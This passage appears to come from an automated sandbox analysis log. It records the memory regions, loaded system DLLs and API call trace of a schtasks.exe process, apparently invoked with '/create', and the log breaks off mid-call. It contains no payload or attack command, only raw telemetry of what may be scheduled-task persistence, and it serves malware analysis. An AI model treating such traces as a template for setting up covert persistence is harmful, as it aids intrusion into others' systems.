"NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4352 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4353 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4354 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4355 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4356 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4357 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4358 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4359 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4360 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4361 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4362 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4363 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4364 start_va = 0x1c0000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4365 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4366 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4367 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4368 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4369 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4370 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4371 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4372 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4373 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4374 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4375 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4376 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4377 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4378 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4379 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4380 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4381 start_va = 0x330000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4382 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 4383 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4384 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4385 start_va = 0x4e0000 end_va = 0x667fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 4386 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4387 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4388 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4389 start_va = 0x670000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 4390 start_va = 0x800000 end_va = 0x1bfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 4391 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4392 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4393 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4394 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4395 start_va = 0x1c00000 end_va = 0x1ecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4398 start_va = 0x430000 end_va = 0x4acfff monitored = 0 entry_point = 0x43cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4399 start_va = 0x430000 end_va = 0x4acfff monitored = 0 entry_point = 0x43cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4400 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4401 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4402 start_va = 0x1ed0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 4403 start_va = 0x1fc0000 end_va = 0x209efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fc0000" filename = "" Region: id = 4404 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4406 start_va = 0x2240000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 4407 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4408 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4409 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4410 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4411 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4412 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4413 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4416 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 206 os_tid = 0x8c0 [0159.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bfb00 | out: lpSystemTimeAsFileTime=0x1bfb00*(dwLowDateTime=0x2b7f8680, dwHighDateTime=0x1d8a92a)) [0159.871] GetCurrentProcessId () returned 0x8bc [0159.871] GetCurrentThreadId () returned 0x8c0 [0159.871] GetTickCount () returned 0x138c1be [0159.871] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bfb08 | out: lpPerformanceCount=0x1bfb08*=2063873443584) returned 1 [0159.872] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0159.872] __set_app_type (_Type=0x1) [0159.872] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0159.872] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0159.873] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0159.873] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0159.873] _onexit (_Func=0xff482afc) returned 0xff482afc [0159.873] _onexit (_Func=0xff482b58) returned 0xff482b58 [0159.873] _onexit (_Func=0xff482b80) returned 0xff482b80 [0159.873] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0159.873] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0159.874] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0159.874] _onexit (_Func=0xff482c20) returned 0xff482c20 [0159.874] _onexit (_Func=0xff482c48) returned 0xff482c48 [0159.874] _onexit (_Func=0xff482c70) returned 0xff482c70 [0159.874] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0159.874] WinSqmIsOptedIn () returned 0x0 [0159.875] GetProcessHeap () returned 0x230000 [0159.875] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b960 [0159.875] SetLastError (dwErrCode=0x0) [0159.875] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0159.875] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0159.875] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0159.875] VerifyVersionInfoW (in: lpVersionInformation=0x1bf2c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf2c0) returned 1 [0159.875] GetProcessHeap () returned 0x230000 [0159.875] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b980 [0159.875] lstrlenW (lpString="") returned 0 [0159.875] GetProcessHeap () returned 0x230000 [0159.875] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x2) returned 0x24b9a0 [0159.875] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245900 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b9c0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245930 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245960 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245990 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x2459c0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24b9e0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x2459f0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a20 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a50 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245a80 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba00 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245ab0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245ae0 [0159.876] GetProcessHeap () returned 0x230000 [0159.876] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b10 [0159.876] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b40 [0159.877] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0159.877] SetLastError (dwErrCode=0x0) [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245b70 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245ba0 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245bd0 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245c00 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245c30 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba20 [0159.877] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.877] GetProcessHeap () returned 0x230000 [0159.877] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x208) returned 0x24bbc0 [0159.877] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0159.878] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0159.880] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0159.880] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0159.881] GetProcessHeap () returned 0x230000 [0159.881] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x74e) returned 0x24c170 [0159.882] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0159.882] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x24c170 | out: lpData=0x24c170) returned 1 [0159.882] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0159.882] VerQueryValueW (in: pBlock=0x24c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf3a8, puLen=0x1bf410 | out: lplpBuffer=0x1bf3a8*=0x24c50c, puLen=0x1bf410) returned 1 [0159.885] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.885] _vsnwprintf (in: _Buffer=0x24bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf388 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0159.885] VerQueryValueW (in: pBlock=0x24c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf418, puLen=0x1bf408 | out: lplpBuffer=0x1bf418*=0x24c338, puLen=0x1bf408) returned 1 [0159.885] lstrlenW (lpString="schtasks.exe") returned 12 [0159.885] lstrlenW (lpString="schtasks.exe") returned 12 [0159.885] lstrlenW (lpString=".EXE") returned 4 [0159.885] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0159.887] lstrlenW (lpString="schtasks.exe") returned 12 [0159.887] lstrlenW (lpString=".EXE") returned 4 [0159.887] _memicmp (_Buf1=0x24ba20, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.887] lstrlenW (lpString="schtasks") returned 8 [0159.887] GetProcessHeap () returned 0x230000 [0159.887] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x245d20 [0159.887] GetProcessHeap () returned 0x230000 [0159.887] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ca80 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cab0 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cae0 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba40 [0159.888] _memicmp (_Buf1=0x24ba40, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa0) returned 0x24bfc0 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb10 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb40 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cb70 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24ba60 [0159.888] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.888] GetProcessHeap () returned 0x230000 [0159.888] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x200) returned 0x24d250 [0159.888] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0159.889] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0159.889] GetProcessHeap () returned 0x230000 [0159.889] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x30) returned 0x247a20 [0159.889] _vsnwprintf (in: _Buffer=0x24bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf388 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0159.889] GetProcessHeap () returned 0x230000 [0159.889] GetProcessHeap () returned 0x230000 [0159.889] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c170) returned 1 [0159.889] GetProcessHeap () returned 0x230000 [0159.889] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c170) returned 0x74e [0159.890] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c170 | out: hHeap=0x230000) returned 1 [0159.890] SetLastError (dwErrCode=0x0) [0159.890] GetThreadLocale () returned 0x409 [0159.890] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.890] lstrlenW (lpString="?") returned 1 [0159.890] GetThreadLocale () returned 0x409 [0159.890] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.890] lstrlenW (lpString="create") returned 6 [0159.890] GetThreadLocale () returned 0x409 [0159.890] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.890] lstrlenW (lpString="delete") returned 6 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] lstrlenW (lpString="query") returned 5 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] lstrlenW (lpString="change") returned 6 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] lstrlenW (lpString="run") returned 3 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] lstrlenW (lpString="end") returned 3 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] lstrlenW (lpString="showsid") returned 7 [0159.891] GetThreadLocale () returned 0x409 [0159.891] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.891] SetLastError (dwErrCode=0x0) [0159.891] SetLastError (dwErrCode=0x0) [0159.891] lstrlenW (lpString="/create") returned 7 [0159.891] lstrlenW (lpString="-/") returned 2 [0159.891] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.892] lstrlenW (lpString="?") returned 1 [0159.892] lstrlenW (lpString="?") returned 1 [0159.892] GetProcessHeap () returned 0x230000 [0159.892] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24c170 [0159.892] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.892] GetProcessHeap () returned 0x230000 [0159.892] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa) returned 0x24c190 [0159.892] lstrlenW (lpString="create") returned 6 [0159.892] GetProcessHeap () returned 0x230000 [0159.892] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x18) returned 0x24c1b0 [0159.892] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.892] GetProcessHeap () returned 0x230000 [0159.892] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x14) returned 0x24c1d0 [0159.892] _vsnwprintf (in: _Buffer=0x24c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|?|") returned 3 [0159.892] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.892] lstrlenW (lpString="|?|") returned 3 [0159.892] lstrlenW (lpString="|create|") returned 8 [0159.892] SetLastError (dwErrCode=0x490) [0159.892] lstrlenW (lpString="create") returned 6 [0159.892] lstrlenW (lpString="create") returned 6 [0159.893] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.893] GetProcessHeap () returned 0x230000 [0159.893] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c190) returned 1 [0159.893] GetProcessHeap () returned 0x230000 [0159.893] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24c190, Size=0x14) returned 0x24c1f0 [0159.893] lstrlenW (lpString="create") returned 6 [0159.893] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.893] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf398 | out: _Buffer="|create|") returned 8 [0159.893] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x9, _Format="|%s|", 